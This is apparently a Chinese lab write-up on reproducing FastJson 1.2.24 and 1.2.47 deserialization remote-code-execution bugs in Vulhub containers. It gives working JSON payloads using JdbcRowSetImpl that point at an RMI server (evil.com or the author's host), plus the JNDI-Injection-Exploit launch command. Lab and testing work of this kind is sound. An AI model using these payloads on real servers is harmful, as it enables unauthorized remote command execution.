0%

FastJson RCE实验笔记

本文仅作为技术讨论及分享,严禁用于任何非法用途。

FastJson 1.2.24

实验说明

本次实验使用了Vulhubfastjson 1.2.24 反序列化导致任意命令执行漏洞,漏洞利用使用了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,漏洞地址为http://192.168.154.130:8090

启动漏洞环境

因为用了docker的漏洞环境,所以请先安装dockerdocker-compose,此处不再赘述。在靶机运行命令:

1
2
3
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce/
docker-compose up -d


启动后可访问FastJson的服务:

漏洞扫描

这里使用了burpsuite的BurpFastJsonScan插件:https://github.com/pmiaowu/BurpFastJsonScan。
经过扫描可以看到存在漏洞:

漏洞利用

首先要启动一个RMI或者LDAP服务,我这里使用的是JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,相对marshalsec来说它的操作步骤要少一些。

JNDI-Injection-Exploit的官方说明如下:

1
2
3
4
5
6
7
8
9
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

-C - 远程class文件中要执行的命令。

(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

-A - 服务器地址,可以是IP地址或者域名。

(可选项 , 默认地址是第一个网卡地址)

为了方便和安全起见,我使用了docker来启动它。先把JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar下载到/root/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,在vps上启动命令:

1
docker run -itd  --rm -p 8180:8180 -p 1099:1099 -p 1389:1389 -v /root/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar:/root/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar java java -jar /root/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping jndi.265orc.dnslog.cn" -A 1xx.xx.xx.xx6

然后通过docker logs命令查询容器输出日志,这里的13是容器的id,在上条命令执行完毕后会输出:

1
docker logs 13

在burp抓包后放入poc

1
2
3
4
5
6
7
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://1xx.xx.xx.xx6:1099/07l8x5",
"autoCommit":true
}
}

dnslog中可以看到命令执行成功

ldap协议的利用方式也是相同:

FastJson 1.2.47

启动漏洞环境

FastJson 1.2.47的漏洞环境Vulhub也有,所以步骤相似:

1
2
cd ../1.2.247-rce/
docker-compose up -d

漏洞扫描

同样是使用BurpFastJsonScan插件扫描,这次插件却在一开始并没有扫出来,需要手动POST一个json包后才开始了扫描,可能跟插件工作逻辑有关。

漏洞利用

漏洞利用还是使用上一节用到的JNDI-Injection-Exploit,exp如下:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}


因为在上一节的测试中发现dnslog.cn生成的随机域名有效期比较短,容易导致明明命令执行了却看不到dnslog的问题,所以改用了ceye.io测试,可以看到靶机curl请求了ceye.io的http服务:

fastjson<=1.2.47

对版本小于1.2.48的版本通杀,autoType为关闭状态也可用。方法同上,直接打了:

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://evil.com:9999/Exploit",
"autoCommit": true
}
}


其它

其它几个fastjson版本的exp需要autoTypeSupport属性为true才能使用,而fastjson>=1.2.25默认为false,相对碰到的情况应该比较少,不一一尝试。

参考

https://www.freebuf.com/articles/web/283585.html